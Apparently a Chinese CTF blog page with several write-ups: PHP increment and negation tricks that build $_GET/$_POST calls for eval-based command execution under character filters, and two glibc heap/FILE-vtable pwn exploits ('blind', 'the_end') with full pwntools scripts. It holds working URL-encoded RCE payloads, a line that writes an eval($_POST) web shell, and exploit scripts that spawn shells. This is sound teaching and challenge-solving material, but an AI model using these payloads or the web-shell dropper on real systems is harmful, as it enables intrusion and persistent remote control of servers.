当我们通过某种方法可以得到一个字符时,我们就可以通过自增来获取其他字符,比如现在我们获取到了$_=A,我们进行$_++,此时$_就变成了B,同理就可以构造出GET以及POST字符,接下来以例子来进行讲解,这里例题的话还用之前的demo在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = 'Z'; $a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '[''Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯 ASCII 字母数字(a-z、A-Z 和 0-9)。递增/递减其他字符变量则无效,原字符串没有变化。

我们首先可以写一个[]看一下

1
2
3
<?php
$_=[];
var_dump($_);

可以看到它就是一个数组,我们无法获取它的这个Array字符,那我们该怎么获取呢,我们尝试字符拼接

1
2
3
4
<?php
$_=[].'';
var_dump($_);
// Array

成功获取到了字符Array,然后我们获取想获取A的话,就可以采用$_[0]这种方式来获取,但我们是不能够写数字的,所以我们这里可以用一个判断,比如我们在[]里加一个==$,此时因为$不同,它就会输出0,此时也就等同于$_[0],在有些版本中[]中间为非数字字符也会被当做下标0

1
2
3
4
5
<?php
$_=[];
$_=$_[''=='$']; // 或 $_=$_[_];
echo $_;
// A

此时成功获取到了字符A,有了A,我们就可以通过自增依次获取其他字符,我们尝试获取一个字符G

1
2
3
4
5
<?php
$_=[];// Array
$_=$_[''=='$'];// A
$_++;$_++;$_++;$_++;$_++;$_++;
var_dump($_); // G

然后看我们这里的代码的话,是eval($code),所以我们就可以构造这种的$_GET[1]($_GET[0]),这个时候我们就可以system(ls)这种命令的执行,所以接下来的话就开始构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;$_++;$_++;$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
//var_dump($_);
$_='_'.$_;//_GET
var_dump($$_[_]($$_[__]));
//$_GET[_]($_GET[__])
// 或者构造eval($_POST[__]), assert($_POST[__])

接下来就可以尝试去给___GET传参,这里我们需要把换行的都去掉,然后进行一次URL编码,因为中间件会解码一次,所以我们构造的payload先变成这样

1
$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);

而后变成

1
%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 附assert($_POST[__])
<?php
$_=[];
$_=@"$_";
$_=$_['!'=='@'];
$___=$_; // A
$__=$_; // A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$___.=$__; // ASS
$__=$_;
$__++;$__++;$__++;$__++;
$___.=$__; // ASSE
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // ASSER
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // ASSERT
$____='_';
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__; // _P
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__; // _PO
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__; // _POS
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__; // _POST
$_=$$____;

//$___($_[_]);&_=file_put_contents('1.php','<?php @eval($_POST["cmd"]); ?>')
// code=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B
&_=file_put_contents('1.php','<?php @eval($_POST["shell"]); ?>')

其他1

在自增中,可以通过特殊字符构造出字符串的有以下几种方式

1
2
3
[].''  //Array
(0/0).'' //NAN
(1/0).'' //INF

这个时候就有一个问题了,如果ban了数字,我们该怎么去构造NANINF呢,这个时候就需要讲到一个知识点,我们这里的话需要说一下这个NANINF

1
2
3
NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。

INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。

这里可以看出NAN表示的是未被定义的值,所以我们这里可以通过a/a这种方式构造,如果字母也被ban,我们也可以借助其他字符,比如_/_,这个时候也可以得到NAN,同理,INF也可以通过1/a的方式获取。

其他2

我们在构造$_POST中的_时,正常操作的话是这样,$a='_'.$b(假设这里$b就是POST),然后这个时候如果'被ban,看似这里是无法再利用了,但其实,我们直接写$a=_.$b也是可以的,这个时候效果同上而且缩短了字符长度。

取反

1
2
3
4
5
6
7
<?php
$ans1='system';//函数名
$ans2='dir';//命令
$data1=('~'.urlencode(~$ans1));//通过两次取反运算得到system
$data2=('~'.urlencode(~$ans2));//通过两次取反运算得到dir
echo ('('.$data1.')'.'('.$data2.')'.';');
// (~%8c%86%8c%8b%9a%92)(~%9b%96%8d)

例题

CTFSHOW吃瓜杯-shellmeRevenge-wp

CTFSHOW RCE挑战1-5 https://ctf.show/challenges#RCE挑战1-3916 / 2-3917 / 3-3918 ….

参考链接:https://xz.aliyun.com/t/11929

Read More
post @ 2023-09-21

文件下载

文件分析

1
2
3
4
5
6
$ checksec blind 
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)

代码分析

1
2
3
4
5
6
7
int menu() {	
puts("1.new");
puts("2.change");
puts("3.release");
puts("4.exit");
return printf("Choice:");
}

1.new 检查了11# v1<=5,但因为v1为unsigned所以不能下溢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 add() {
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi(s);
if ( v1 <= 5 && !ptr[v1] ) {
ptr[v1] = malloc(0x68uLL);
printf("Content:");
read_line(ptr[v1], 0x68u);
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}

2.change 正常修改内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 edt() {
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi(s);
if ( v1 <= 5 && ptr[v1] ) {
printf("Content:");
read_line(ptr[v1], 0x68u);
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}

3.release 明显存在use after free 但最多只能free三次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 sub_400B41() {
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi(s);
if ( v1 <= 5 && ptr[v1] && free_cnt <= 2 ) {
free(ptr[v1]); // UAF
++free_cnt;
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}

发现还有个后门函数 肯定目标就是这里

1
2
3
int get_shell() {    // 0x00000000004008E3
return system("/bin/sh");
}

攻击方法

由于开了Full RELRO 写不了GOT表 ;并且没有可控的输出语句 无法泄露libc基地址

想着能不能通过UAF:add 0, dlt 0, add 1 (此时ptr[0]==ptr[1]), dlt 0 (此时ptr[0]位于bin中且可通过ptr[1]修改内容)

来分配bss段上空间实现写入

0x68大小的chunk释放后会进入fastbin[0x70] 因此需要找到一个bss中的qword满足在0x0000000000000070-000000000000007f之间(因为最后三位的标志位),作为size域,进而分配到bss上

1
2
3
4
5
gef➤  find 0x602020, 0x602500, 0x000000000000007f
0x602025 <stdout+5>
0x602035 <stdin+5>
0x602045 <stderr+5>
3 patterns found.

那么可选堆的起始地址为0x602045-8 = 0x60203d 尝试:

1
2
3
4
5
6
7
add(0, b'0000')
dlt(0)
add(1, b'1111')
dlt(0)
edt(1, p64(0x60203d))
add(2, b'2222')
add(3, b'\x00')

发现可以成功获取

1
2
3
4
5
6
7
gef➤  sq 0x602020
0x602020 <stdout>: 0x00007f8160fc5620 0x0000000000000000
0x602030 <stdin>: 0x00007f8160fc48e0 0x0000000000000000
0x602040 <stderr>: 0x00007f8160fc5540 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x00000000021f4010 0x00000000021f4010
0x602070: 0x00000000021f4010 0x000000000060204d # here

那么由此就可以实现任意地址写了(先edt(ptr[3]),使得ptr[0]处地址为目标地址,然后再edt(ptr[0]))

法一

关于_IO_FILE利用可以参考:https://www.anquanke.com/post/id/164558

  1. 改写stdout指针为特定构造的伪_IO_FILE 指针 p = 0x602100
  2. 修改p + 0xd8 = 0x6021d8的vtable指针为fake_vtable = 0x602200
  3. fake_vtable指针指向的多个函数指针都改为后门函数地址

源stdout指针指向内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gef➤  sq 0x00007f8160fc5620
0x7f8160fc5620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007f8160fc56a3
0x7f8160fc5630 <_IO_2_1_stdout_+16>: 0x00007f8160fc56a3 0x00007f8160fc56a3
0x7f8160fc5640 <_IO_2_1_stdout_+32>: 0x00007f8160fc56a3 0x00007f8160fc56a3
0x7f8160fc5650 <_IO_2_1_stdout_+48>: 0x00007f8160fc56a3 0x00007f8160fc56a3
0x7f8160fc5660 <_IO_2_1_stdout_+64>: 0x00007f8160fc56a4 0x0000000000000000

gef➤ p *(struct _IO_FILE*) 0x00007f8160fc5620
$1 = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7f8160fc56a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7f8160fc56a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7f8160fc56a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7f8160fc56a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7f8160fc56a3 <_IO_2_1_stdout_+131> "\n",
[...]
}

需要注意的是 我们需要绕过一些限制,所以要更改_flags使得 flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0 (这里改为0x00000000fbada887)

因为我们修改了stdout,在下一次调用puts时即会自动调用后门函数

法二

参考的大佬的思路:http://p4nda.top/2018/08/27/WDBCTF-2018/

是否可以修改 __malloc_hook? 因为不能泄露地址,则需要 __malloc_hook地址出现在bss段才能通过edt写入

通过在bss段上伪造一个unsorted_bin大小的chunk并释放 则main arena+88的地址就会出现在bss段上 ,通过修改其最低字节为00,则可再通过edt写到__malloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
gef➤  sq 0x602020
0x602020 <stdout>: 0x00007fefbd3c5620 0x0000000000000000
0x602030 <stdin>: 0x00007fefbd3c48e0 0x0000000000000000
0x602040 <stderr>: 0x00007fefbd3c5540 0x3030300000000000
0x602050: 0x3030303030303030 0x3030303030303030
0x602060: 0x0000000000602080 0x00000000016cc000
0x602070: 0x0000000000000000 0x0000000000000091
0x602080: 0x00007fefbd3c4b78 0x00007fefbd3c4b78

gef➤ sq 0x00007fefbd3c4b00
0x7fefbd3c4b00 <__memalign_hook>: 0x00007fefbd085e20 0x00007fefbd085a00
0x7fefbd3c4b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7fefbd3c4b20: 0x0000000000000000 0x0000000000000000
0x7fefbd3c4b30: 0x0000000000000000 0x0000000000000000
0x7fefbd3c4b40: 0x0000000000000000 0x0000000000000000
0x7fefbd3c4b50: 0x0000000000000000 0x0000000000000000
0x7fefbd3c4b60: 0x0000000000000000 0x0000000000000000
0x7fefbd3c4b70: 0x0000000000000000 0x00000000016cc070 # main arena+88 = 0x7fefbd3c4b78

exp

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
import sys

pty = process.PTY
context(os='linux', arch='i386', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

proc = process("./blind")
libc = ELF("./libc.so.6")

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sd(x): return proc.send(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(idx, con):
sla(b':', b'1')
sla(b':', str(idx).encode())
sla(b':', con)

def edt(idx, con):
sla(b':', b'2')
sla(b':', str(idx).encode())
sla(b':', con)

def dlt(idx):
sla(b':', b'3')
sla(b':', str(idx).encode())

def write(addr, con):
edt(3, b'0'*0x13 + p64(addr)) # write addr to ptr[0]
edt(0, con)

gscript = '''
b * 0x0000000000400C75
'''
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

get_shell = 0x00000000004008E3
add(0, b'0000')
dlt(0)
add(1, b'1111')
dlt(0)
edt(1, p64(0x60203d)) # 修改在fastbin中的next
add(2, b'2222')
add(3, b'\x00') # 得到0x60204d

write(0x602100, p64(0xfbada887)) # 写flag绕过检测
write(0x6021d8, p64(0x602200)) # 改写vtable指针
write(0x602200, p64(get_shell) * 12) # 改写fake_vtable内容
write(0x602020, p64(0x602100)) # 将stdout内容改为伪造的_IO_FILE

pi()
pause()

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
import sys

pty = process.PTY
context(os='linux', arch='i386', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

proc = process("./blind")
libc = ELF("./libc.so.6")

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sd(x): return proc.send(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(idx, con):
sla(b':', b'1')
sla(b':', str(idx).encode())
sla(b':', con)

def edt(idx, con):
sla(b':', b'2')
sla(b':', str(idx).encode())
sla(b':', con)

def dlt(idx):
sla(b':', b'3')
sla(b':', str(idx).encode())

def write(addr, con):
edt(5, b'0'*0x13 + p64(addr)) # write addr to ptr[0]
edt(0, con)

gscript = '''
b * 0x0000000000400C75
c
'''
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

get_shell = 0x00000000004008E3
add(0, b'0000')
dlt(0)
add(1, b'1111')
dlt(0)
edt(1, p64(0x60203d))
add(2, b'2222')
add(5, b'\x00')

write(0x602070, p64(0) + p64(0x91)) # 选择ptr[2]作为fake chunk起点,则main_arena + 88会写入到ptr[4],可控
write(0x602070 + 0x90, p64(0x90) + p64(0x21)) # 伪造下个chunk,绕过检测
write(0x602070 + 0x90 + 0x20, p64(0x20) + p64(0x21)) # 伪造下下个chunk,绕过检测

write(0x602060, p64(0x602080)) # free,放入unsorted_bin
dlt(0)
edt(0, b'') # 修改0x602080处字节为0x00, 则为__memalign_hook地址
edt(4, p64(get_shell) * 3) # 在__malloc_hook写入后门函数地址
sla(b':', b'1')
sla(b':', b'2') # 触发malloc

pi()
pause()
Read More
post @ 2023-09-16

相关资源

文件分析

1
2
3
4
5
6
$ checksec the_end 
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __fastcall __noreturn main(int a1, char **a2, char **a3) {
int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h] BYREF

sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i ) {
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}

6#直接泄露libc基地址 10#任意地址写5个字节

攻击方法

开了 Full RELRO, got表写不了 也没有栈溢出 (要写返回地址也是一种可能 但是因为不知道栈地址 相当于四个字节的随机化 实现概率太小)

程序调用 exit 后,会调用 _IO_2_1_stdout_ 下的 vtable_setbuf 函数 可以改写vtablefake_vtable(可写的区域) 然后改写对应_setbuf偏移处的函数指针为one_gadget

注意由于8#关闭了输出流,执行 exec /bin/sh 1>&0 重定向 使输出可见

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
import sys

pty = process.PTY
context(os='linux', arch='i386', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

proc = process("./the_end")
libc = ELF("./libc-2.23.so")

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sd(x): return proc.send(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))


gscript = '''
pie b 0x000000000000093F
c
'''
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

ru(b'gift ') # 获取libc基地址
libc_base = int(ru(b',').strip(b','), 16) - libc.sym['sleep']
ls("libc base: " + hex(libc_base))

io_stdout = libc_base + libc.sym['_IO_2_1_stdout_']

vtable_addr = libc_base + 0x3C56F8 # vtable存放地址
fake_vtable = libc_base + 0x3C56c0
gadget = libc_base + one_gadgets[2]

li("vtable_addr: " + hex(vtable_addr))

for i in range(2): # 将fake_vtable写入原vtable存放处
s(p64(vtable_addr + i))
s(p8(p64(fake_vtable)[i]))

for i in range(3): # 修改fake_vtable + 0x58函数(原vtable中的setbuf)地址为one_gadget
s(p64(fake_vtable + 0x58 + i))
s(p8(p64(gadget)[i]))

sl(b"exec /bin/sh 1>&0") # 重定向使输出可见
pi()
pause()

参考:https://blog.wingszeng.top/pwn-file-exploitation-fake-vtable
https://ctf-wiki.org/pwn/linux/user-mode/io-file/fake-vtable-exploit/#2018-hctf-the_end

Read More
post @ 2023-09-12

题目链接

0x1 分析

进入页面看到phpinfo php版本为7.2.34 再看到被禁用的函数disable_function

m

发现 system, exec, shell_exec等都被禁用,但没有过滤passthru

查看网络流 发现包头的cookie中有hint: ?looklook url加上?looklook=1可以得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
if ($_GET['looklook']){
highlight_file(__FILE__);
}else{
setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
eval($ctfshow);
}else{
echo("fucccc hacker!!");
}
}
} else {
phpinfo();
}
?>

这里发现过滤了除C以外的字母 除0-3以外的数字

^被过滤 用不了异或;~被过滤 用不了取反 两个引号都被过滤

0x2 exp

这里考虑自增 这里不知道是不是作者弄错了第10行中的判断条件用的是|| 所以就算长度超了107也没事 那我们先不管长度 用自增构造$_GET[1]($_GET[2])

注意因为过滤了引号 直接$a._也可以实现连接 但调试的话php版本最好也是7.2 高版本这种操作可能不行

长度不限

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$_=[]._;
$_=$_[0];
$_++;$_++;$_++;$_++; //E
$__=$_; //E
$_++;$_++; //G
$___=$_; //G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=_.$___.$__.$_;//_GET
$_=_.$_; // _GET
// $$_[1]($$_[2]));
// $_GET[1]($_GET[2])

去掉换行

1
$_=[]._;$_=$_[0];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_=_.$_;$$_[1]($$_[2]);

URL编码

1
2
// ?looklook=1&1=passthru&2=ls /
ctf_show=%24_%3D%5B%5D._%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D_.%24_%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B

成功执行

m

长度<=107

如果10#中的||换成&&的话 就需要压缩我们的payload了

思路:C -> E -> G T离得比较远 可以通过C/C.C获取到NANC进而 N->T

这里可能有人会想为什么不从Array当中取出r然后到t呢 ? php对于函数名类名大小写不敏感 但是对于$_GET, $_POST这一类变量是大小写敏感的 所以构造出的$_GEt发挥不了作用

1
2
3
4
5
6
7
8
9
10
11
$C=(C/C.C)[0];	// N
$C++;$C++;$C++;$C++;$C++; // S,不直接到T 下面拼接的时候行内自增
$_=C;
$_++;$_++; // E
$C=$_.++$C; // ET
$_++; // F 与第2行逻辑相同
$_=_.++$_.$C; // _GET
$$_[0]($$_[1]);

// $C=(C/C.C)[0];$C++;$C++;$C++;$C++;$C++;$_=C;$_++;$_++;$C=$_.++$C;$_++;$_=_.++$_.$C;$$_[1]($$_[2]);
// strlen=98

更小:直接N -> O -> P -> S -> T

1
2
3
4
5
6
7
8
9
$_=(_/_._)[0];	// N
++$_; // O
$__=_.$_.$_++; // _PO
$_++;$_++;
$_=$__.++$_.++$_; // _POST
$$_[0]($$_[1]);

// $_=(_/_._)[0];$__=++$_;$__=_.++$_.$__;$_++;$_++;$_=$__.++$_.++$_;$$_[0]($$_[1]);
// strlen=80 注意这里是POST了 跟GET传参方式不同

再压缩:将_POST作为POST的参数

1
2
3
4
5
6
7
$_=(_/_._)[_];                     // N  注意这里的索引0有的php版本下也可以替换为非数字字符
++$_;
$__=$_.$_++; // PO
++$_;++$_;
$$_[$_=_.$__.++$_.++$_]($$_[_]); // $$_[_POST]($$_[_])即$_POST[]($_POST[_])
// $_=(_/_._)[_];++$_;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);
// strlen=73 POST _=ls&_POST=passthru

删去换行 url编码后同样可以实现功能

几个压缩点:

  1. 行内自增完直接用就是新的值:$C=$_.++$C;
  2. 多字符串一行拼接$_=_.++$_.$C;
  3. 找就近字母递增,过程中有遇到符合的记录下,不每次从头开始
  4. _/_, 0/0, C/C都可以得到NAN
  5. [0], [''=='.'], [_]都有可能起到同样作用
Read More
⬆︎TOP